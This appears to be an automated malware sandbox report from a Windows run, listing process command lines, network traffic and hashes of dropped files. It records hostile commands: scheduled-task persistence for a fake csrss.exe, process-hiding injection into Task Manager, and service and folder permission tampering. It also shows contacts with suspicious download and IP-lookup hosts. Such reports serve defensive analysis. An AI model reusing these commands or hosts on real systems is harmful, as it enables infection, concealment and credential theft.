C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4456 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4436 /prefetch:1

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\SYSTEM32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5440 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5748 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5748 /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FF70.bat" "

C:\Windows\system32\reg.exe

reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1C2.bat" "

C:\Windows\system32\reg.exe

reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\windefender.exe

"C:\Windows\windefender.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\SysWOW64\sc.exe

sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\windefender.exe

C:\Windows\windefender.exe

C:\Users\Admin\AppData\Local\Temp\4380.exe

C:\Users\Admin\AppData\Local\Temp\4380.exe

C:\Users\Admin\AppData\Local\Temp\4380.exe

C:\Users\Admin\AppData\Local\Temp\4380.exe

C:\Windows\SysWOW64\icacls.exe

icacls "C:\Users\Admin\AppData\Local\90b0ebd2-81cd-49f9-9d8b-61262a9a2d42" /deny *S-1-1-0:(OI)(CI)(DE,DC)

C:\Users\Admin\AppData\Local\Temp\4380.exe

"C:\Users\Admin\AppData\Local\Temp\4380.exe" --Admin IsNotAutoStart IsNotTask

C:\Users\Admin\AppData\Local\Temp\4380.exe

"C:\Users\Admin\AppData\Local\Temp\4380.exe" --Admin IsNotAutoStart IsNotTask

C:\Users\Admin\AppData\Local\Temp\4FE4.exe

C:\Users\Admin\AppData\Local\Temp\4FE4.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6264 -ip 6264

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6264 -s 568

C:\Users\Admin\AppData\Local\Temp\54C7.exe

C:\Users\Admin\AppData\Local\Temp\54C7.exe

Network

Country Destination Domain Proto
US 138.91.171.81:80 tcp
US 8.8.8.8:53 19.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 store.steampowered.com udp
US 8.8.8.8:53 twitter.com udp
IE 163.70.151.35:443 www.facebook.com tcp
US 92.123.241.50:443 store.steampowered.com tcp
US 8.8.8.8:53 steamcommunity.com udp
US 104.244.42.1:443 twitter.com tcp
US 8.8.8.8:53 accounts.google.com udp
GB 104.103.202.103:443 steamcommunity.com tcp
US 8.8.8.8:53 www.paypal.com udp
BE 64.233.167.84:443 accounts.google.com tcp
US 8.8.8.8:53 50.241.123.92.in-addr.arpa udp
US 8.8.8.8:53 35.151.70.163.in-addr.arpa udp
US 8.8.8.8:53 1.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 103.202.103.104.in-addr.arpa udp
US 8.8.8.8:53 www.linkedin.com udp
US 151.101.1.21:443 www.paypal.com tcp
US 8.8.8.8:53 www.epicgames.com udp
US 13.107.42.14:443 www.linkedin.com tcp
US 8.8.8.8:53 www.youtube.com udp
US 3.228.109.215:443 www.epicgames.com tcp
GB 216.58.212.238:443 www.youtube.com tcp
BE 64.233.167.84:443 accounts.google.com udp
GB 216.58.212.238:443 www.youtube.com udp
US 8.8.8.8:53 84.167.233.64.in-addr.arpa udp
US 8.8.8.8:53 21.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 14.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 238.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 215.109.228.3.in-addr.arpa udp
US 8.8.8.8:53 i.ytimg.com udp
GB 142.250.179.246:443 i.ytimg.com tcp
US 8.8.8.8:53 69.110.32.13.in-addr.arpa udp
US 8.8.8.8:53 246.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 234.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 227.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 3.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 rr1---sn-q4fl6ndl.googlevideo.com udp
US 173.194.141.6:443 rr1---sn-q4fl6ndl.googlevideo.com tcp
US 173.194.141.6:443 rr1---sn-q4fl6ndl.googlevideo.com tcp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 6.141.194.173.in-addr.arpa udp
US 173.194.141.6:443 rr1---sn-q4fl6ndl.googlevideo.com tcp
US 173.194.141.6:443 rr1---sn-q4fl6ndl.googlevideo.com tcp
US 173.194.141.6:443 rr1---sn-q4fl6ndl.googlevideo.com tcp
US 173.194.141.6:443 rr1---sn-q4fl6ndl.googlevideo.com tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
US 8.8.8.8:53 store.akamai.steamstatic.com udp
GB 142.250.180.10:443 jnn-pa.googleapis.com tcp
GB 104.77.160.200:443 store.akamai.steamstatic.com tcp
GB 104.77.160.200:443 store.akamai.steamstatic.com tcp
GB 104.77.160.200:443 store.akamai.steamstatic.com tcp
US 8.8.8.8:53 static.xx.fbcdn.net udp
GB 142.250.180.10:443 jnn-pa.googleapis.com udp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
US 8.8.8.8:53 apps.identrust.com udp
GB 96.17.179.184:80 apps.identrust.com tcp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 10.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 200.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 23.147.70.163.in-addr.arpa udp
US 8.8.8.8:53 184.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 static.licdn.com udp
US 8.8.8.8:53 tracking.epicgames.com udp
US 8.8.8.8:53 static-assets-prod.unrealengine.com udp
GB 142.250.200.4:443 www.google.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
US 3.218.216.9:443 tracking.epicgames.com tcp
AT 13.32.110.72:443 static-assets-prod.unrealengine.com tcp
AT 13.32.110.72:443 static-assets-prod.unrealengine.com tcp
US 8.8.8.8:53 4.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 88.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 72.110.32.13.in-addr.arpa udp
US 8.8.8.8:53 9.216.218.3.in-addr.arpa udp
US 8.8.8.8:53 abs.twimg.com udp
US 8.8.8.8:53 api.twitter.com udp
US 8.8.8.8:53 api.x.com udp
US 104.244.42.66:443 api.twitter.com tcp
US 8.8.8.8:53 video.twimg.com udp
US 152.199.21.141:443 abs.twimg.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 8.8.8.8:53 t.co udp
US 172.64.150.242:443 api.x.com tcp
US 8.8.8.8:53 pbs.twimg.com udp
US 104.244.42.197:443 t.co tcp
US 68.232.34.217:443 video.twimg.com tcp
US 192.229.233.50:443 pbs.twimg.com tcp
US 8.8.8.8:53 www.paypalobjects.com udp
US 8.8.8.8:53 community.akamai.steamstatic.com udp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
GB 104.77.160.221:443 community.akamai.steamstatic.com tcp
GB 104.77.160.221:443 community.akamai.steamstatic.com tcp
GB 104.77.160.221:443 community.akamai.steamstatic.com tcp
US 8.8.8.8:53 66.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 141.21.199.152.in-addr.arpa udp
US 8.8.8.8:53 242.150.64.172.in-addr.arpa udp
US 8.8.8.8:53 197.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 217.34.232.68.in-addr.arpa udp
US 8.8.8.8:53 50.233.229.192.in-addr.arpa udp
US 8.8.8.8:53 25.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 221.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 youtube.com udp
GB 142.250.178.14:443 youtube.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 8.8.8.8:53 www.recaptcha.net udp
GB 172.217.16.227:443 www.recaptcha.net tcp
BG 91.92.249.253:50500 tcp
US 8.8.8.8:53 c.paypal.com udp
US 192.55.233.1:443 tcp
US 192.55.233.1:443 tcp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 253.249.92.91.in-addr.arpa udp
US 8.8.8.8:53 facebook.com udp
IE 163.70.147.35:443 facebook.com tcp
US 8.8.8.8:53 ipinfo.io udp
US 8.8.8.8:53 t.paypal.com udp
US 34.117.186.192:443 ipinfo.io tcp
US 151.101.1.35:443 t.paypal.com tcp
US 8.8.8.8:53 fbcdn.net udp
IE 163.70.147.35:443 fbcdn.net tcp
GB 172.217.16.227:443 www.recaptcha.net udp
US 8.8.8.8:53 fbsbx.com udp
US 8.8.8.8:53 35.147.70.163.in-addr.arpa udp
US 8.8.8.8:53 192.186.117.34.in-addr.arpa udp
US 8.8.8.8:53 35.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 b.stats.paypal.com udp
US 8.8.8.8:53 c6.paypal.com udp
US 151.101.1.35:443 c6.paypal.com tcp
US 64.4.245.84:443 b.stats.paypal.com tcp
US 8.8.8.8:53 84.245.4.64.in-addr.arpa udp
GB 104.77.160.200:443 store.akamai.steamstatic.com tcp
GB 104.77.160.200:443 store.akamai.steamstatic.com tcp
GB 104.77.160.200:443 store.akamai.steamstatic.com tcp
US 8.8.8.8:53 dub.stats.paypal.com udp
US 64.4.245.84:443 dub.stats.paypal.com tcp
GB 142.250.200.4:443 www.google.com udp
GB 104.77.160.221:443 community.akamai.steamstatic.com tcp
GB 104.77.160.221:443 community.akamai.steamstatic.com tcp
GB 104.77.160.221:443 community.akamai.steamstatic.com tcp
US 8.8.8.8:53 sentry.io udp
US 35.186.247.156:443 sentry.io tcp
US 8.8.8.8:53 login.steampowered.com udp
GB 104.103.202.103:443 login.steampowered.com tcp
GB 104.103.202.103:443 login.steampowered.com tcp
GB 142.250.200.4:443 www.google.com udp
AT 13.32.110.72:443 static-assets-prod.unrealengine.com tcp
US 8.8.8.8:53 ponf.linkedin.com udp
US 144.2.9.1:443 ponf.linkedin.com tcp
US 8.8.8.8:53 api.steampowered.com udp
GB 104.103.202.103:443 api.steampowered.com tcp
GB 104.103.202.103:443 api.steampowered.com tcp
US 8.8.8.8:53 156.247.186.35.in-addr.arpa udp
US 8.8.8.8:53 platform.linkedin.com udp
GB 88.221.135.104:443 platform.linkedin.com tcp
US 8.8.8.8:53 talon-website-prod.ecosec.on.epicgames.com udp
US 8.8.8.8:53 stun.l.google.com udp
US 104.18.41.136:443 talon-website-prod.ecosec.on.epicgames.com tcp
US 142.251.29.127:19302 stun.l.google.com udp
US 142.251.29.127:19302 stun.l.google.com udp
US 104.244.42.66:443 api.twitter.com tcp
US 104.244.42.66:443 api.twitter.com tcp
US 8.8.8.8:53 1.9.2.144.in-addr.arpa udp
US 8.8.8.8:53 104.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 127.29.251.142.in-addr.arpa udp
US 8.8.8.8:53 136.41.18.104.in-addr.arpa udp
US 8.8.8.8:53 talon-service-prod.ecosec.on.epicgames.com udp
US 172.64.146.120:443 talon-service-prod.ecosec.on.epicgames.com tcp
US 172.64.146.120:443 talon-service-prod.ecosec.on.epicgames.com tcp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 120.146.64.172.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 js.hcaptcha.com udp
US 104.19.218.90:443 js.hcaptcha.com tcp
US 8.8.8.8:53 90.218.19.104.in-addr.arpa udp
US 8.8.8.8:53 newassets.hcaptcha.com udp
US 8.8.8.8:53 api.hcaptcha.com udp
US 8.8.8.8:53 play.google.com udp
FR 216.58.204.78:443 play.google.com tcp
FR 216.58.204.78:443 play.google.com udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 78.204.58.216.in-addr.arpa udp
US 35.186.247.156:443 sentry.io udp
RU 185.215.113.68:80 185.215.113.68 tcp
US 8.8.8.8:53 bitbucket.org udp
US 104.192.141.1:443 bitbucket.org tcp
US 8.8.8.8:53 bbuseruploads.s3.amazonaws.com udp
US 8.8.8.8:53 68.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 1.141.192.104.in-addr.arpa udp
US 3.5.20.102:443 bbuseruploads.s3.amazonaws.com tcp
US 8.8.8.8:53 102.20.5.3.in-addr.arpa udp
FR 216.58.204.78:443 play.google.com udp
RU 5.42.65.125:80 5.42.65.125 tcp
N/A 195.20.16.103:18305 tcp
US 8.8.8.8:53 103.16.20.195.in-addr.arpa udp
US 8.8.8.8:53 api.ipify.org udp
MD 176.123.7.190:32927 tcp
US 104.237.62.212:80 api.ipify.org tcp
US 8.8.8.8:53 udp
BG 91.92.254.7:80 tcp
RU 5.42.64.35:80 5.42.64.35 tcp
US 8.8.8.8:53 35.64.42.5.in-addr.arpa udp
RU 77.91.76.36:80 77.91.76.36 tcp
US 8.8.8.8:53 36.76.91.77.in-addr.arpa udp
MD 176.123.10.211:47430 tcp
US 8.8.8.8:53 211.10.123.176.in-addr.arpa udp
MD 176.123.7.190:32927 tcp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
RU 77.105.132.87:17066 tcp
US 8.8.8.8:53 87.132.105.77.in-addr.arpa udp
N/A 195.20.16.103:18305 tcp
US 8.8.8.8:53 73.242.123.52.in-addr.arpa udp
US 8.8.8.8:53 iplogger.com udp
US 104.21.76.57:443 iplogger.com tcp
US 8.8.8.8:53 57.76.21.104.in-addr.arpa udp
US 8.8.8.8:53 35.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 d15061be-e58d-4fc5-97eb-53f2cd1b8cc2.uuid.statsexplorer.org udp
US 8.8.8.8:53 host-file-host6.com udp
US 8.8.8.8:53 host-host-file8.com udp
RU 212.193.52.24:80 host-host-file8.com tcp
US 8.8.8.8:53 24.52.193.212.in-addr.arpa udp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
US 8.8.8.8:53 brusuax.com udp
PE 190.12.87.61:80 brusuax.com tcp
US 8.8.8.8:53 61.87.12.190.in-addr.arpa udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 server3.statsexplorer.org udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 8.8.8.8:53 stun.ipfire.org udp
US 162.159.134.233:443 cdn.discordapp.com tcp
BG 185.82.216.108:443 server3.statsexplorer.org tcp
DE 81.3.27.44:3478 stun.ipfire.org udp
US 8.8.8.8:53 walkinglate.com udp
US 172.67.212.188:443 walkinglate.com tcp
US 8.8.8.8:53 233.134.159.162.in-addr.arpa udp
US 8.8.8.8:53 188.212.67.172.in-addr.arpa udp
US 8.8.8.8:53 108.216.82.185.in-addr.arpa udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
US 8.8.8.8:53 api.2ip.ua udp
US 104.21.65.24:443 api.2ip.ua tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
RU 212.193.52.24:80 host-host-file8.com tcp
US 8.8.8.8:53 crackdonkey.com udp
US 172.67.214.51:443 crackdonkey.com tcp
US 8.8.8.8:53 24.65.21.104.in-addr.arpa udp
RU 212.193.52.24:80 host-host-file8.com tcp
US 8.8.8.8:53 51.214.67.172.in-addr.arpa udp
RU 212.193.52.24:80 host-host-file8.com tcp
US 162.159.134.233:443 cdn.discordapp.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe

MD5 b6a79913856ff04528f0ee8afedb4e62
SHA1 4936b7c8c8bf2856037e8c1d20ee5776a80d4cb0
SHA256 6890cf9a661b8bd610bd61f24fac01db7bba5a006c8edc122676b13f4b422161
SHA512 89348cf6e37e948ab27fa07eb6ef3df07169e1dedf2239d21409d63b1ece2790155ec1b3c19216d13a9052b17a96ff4a1d372f300c711c5fd87fa193433801c5

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe

MD5 a778698c986a4eb97a1a8ed836ff04cb
SHA1 687e9b7304ad01c9c57ec3a0fdd5b356c9e2e6b8
SHA256 ce84254e706916add7a22ffd0f683256452213b50ce28dd4d14614dd3ca8f9b4
SHA512 4e1766fd4b1b8c92b3f5f68ca07142850bed2fc4da5b5062325c738bd175d177b1500051bcd25cf25d7be8aca47675b6567768dd9019a0b2da9cf45ee4ef2b9b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 66b31399a75bcff66ebf4a8e04616867
SHA1 9a0ada46a4b25f421ef71dc732431934325be355
SHA256 d454afb2387549913368a8136a5ee6bad7942b2ad8ac614a0cfaedadf0500477
SHA512 5adaead4ebe728a592701bc22b562d3f4177a69a06e622da5759b543e8dd3e923972a32586ca2612e9b6139308c000ad95919df1c2a055ffd784333c14cb782f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84381d71cf667d9a138ea03b3283aea5
SHA1 33dfc8a32806beaaafaec25850b217c856ce6c7b
SHA256 32dd52cc3142b6e758bd60adead81925515b31581437472d1f61bdeda24d5424
SHA512 469bfac06152c8b0a82de28e01f7ed36dc27427205830100b1416b7cd8d481f5c4369e2ba89ef1fdd932aaf17289a8e4ede303393feab25afc1158cb931d23a3

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4TM356LL.exe

MD5 7a7493b4560d5312f0d0dbdd14083567
SHA1 f513251977e2597235cae778626e4d983a3864a9
SHA256 950750280f0959d3f7ef6971966236993a3e454047d7e1b3e013eb98f711f998
SHA512 90c91fc2d7f7e151916ebf291f2d18a168b1c8bbefa67a01360339667c1762076d6dece7842b0fe58557cc3481121c57ba73c2bcc3cddeecd8b09110d0137c41

\??\pipe\LOCAL\crashpad_4036_DXWOOJBNPHNAGVUK

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 1f99ef360cb7df8b3f0ee98f850324e1
SHA1 78e0a312a13a8224d724a6a26372b6aa96e84e69
SHA256 de3f5b09deb9990c83aec4d86c6472061b3be568731250bc9d8b81f5bed2408d
SHA512 7416e5a5fdf69c59e84e761e0eb11b8c68145f10a6cdf0195b7f1bc4a3474ce69aaff0c1a894936344b37230b275b19b0c8bb78d1bc0c06e04e37fb07423d631

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 37fb760c3d3b3a4599a0b52da3cacd0e
SHA1 289ddbb3f32e9e8d70bf9266224c4237063cc055
SHA256 c672c1ee6ffabf54649b2f4d1c51dea9d54872d653f9c0124aa38c25f6621c7a
SHA512 f1cf68dd13245f54af442d53b92764c53a37b927bcb4d5059e4f0c54e3442d027be051a559e30b6184dd3742f0ad3d4e9ef11801fd2f4f776f2984f75c193866

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 6e1680711c3f661d498b66bc6f784610
SHA1 39a5ebfd4fa08379b56c5600e979127a46ca9eb1
SHA256 58d292be18db206c58c479098620e07c90242ba28784c168a3ebc801159421eb
SHA512 ec7ade69ff1b2f680e0cc125fbfea11fdcafda750457daab3698f57e46ad69c32d5b05443102571526575d7c52fd89ba7b0e204b36b87ee8b8003aac36e8ae91

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 60d61e8266b749f07ee216ab044b10c9
SHA1 f364358a915612dd3c367e16d2abfd5b8be5d791
SHA256 e4346a9bd45fe2deae908e69921351fba18818be4ce27d3845813dd468e63389
SHA512 d68fe29826d29daef8f3f89e1df143e25f0a5c4b69d968ed5ffd8edbbddace8b0260fb0f5324474440ae5c3c5c893a19f95b2ce045745e06a6c9c612f5a537e0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\08e39886-b6c0-4997-add0-40bd8ef0b481.tmp

MD5 72cc799f951cd75eca3b789cfcd16744
SHA1 3ee446382913eda9c807e64d67645ad2d32ccd86
SHA256 8a2a1edfffd89844a47712c7fda7a03b639177fcc9f0761acabe3acd64a31c99
SHA512 40dc41a9d68df229a0550e79c7685b7bdc9f34c2f5a7b8bed274a4d8344b17fb767fa912526ac879e5c02e93eb24a3d8a7e51d3cf4e43b7c7a6a4a254b8e61a5

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 2e8f00f5b44c9ac993ad4d793f3dcfee
SHA1 11c09e585e21187c1690a13c426d64a5798b60cc
SHA256 4ecf3a1b52c44559b0f469a0c45d0325818812dd439b6fe2d7c8ee792d51d306
SHA512 70171e82943bfa7459e48dc96f5a2792837daf2edd8de76628d466f82c11cf84ff58956ed15bf076a8e68be2631d36143a3c2eafc5f18bab71c834045a490dd6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 d72ef7ef0478d68e25cead0dd4241fab
SHA1 f2195e7065d48a71c6cbb14f00b2fc5689072320
SHA256 007c79a47ede487f62abf82b2e489659b3b0b14ab798e35101b7fad22f06f809
SHA512 3f5ffacf9d6ca12d837b51e4de294dcfe43b517f37afb33e80585afc23f38cbca505b8221ad3c49679fcddc0b2893bf22d5cf273d8e570634ee71b8d596d72cc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 f4f3b3de36d3ecd4296cdcb9cf299533
SHA1 d7ac7f0ec8df7d6a612d336290b6bdaac14db89f
SHA256 899c7ce87b3204429e90b0360ef3de8268770cffb6da90ce8baaa7fd7f4798c7
SHA512 a56899b6401949c693df89ed626e26f04c822ccd7cadfff0b0b3fb2fea7bfa3ff84622522fe2f689739dea78a712b31c3942f1c0475e573b21a1f6d48669b5b0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 5e49675fb9e1c827b4de33eb8e8b3a5d
SHA1 346799e8c062f0cae0d4a62d160880a80ae9467c
SHA256 7952714758bf49b06cbe4d5102ca2e94d70fdfbcb31fe215eec66e7c1553b389
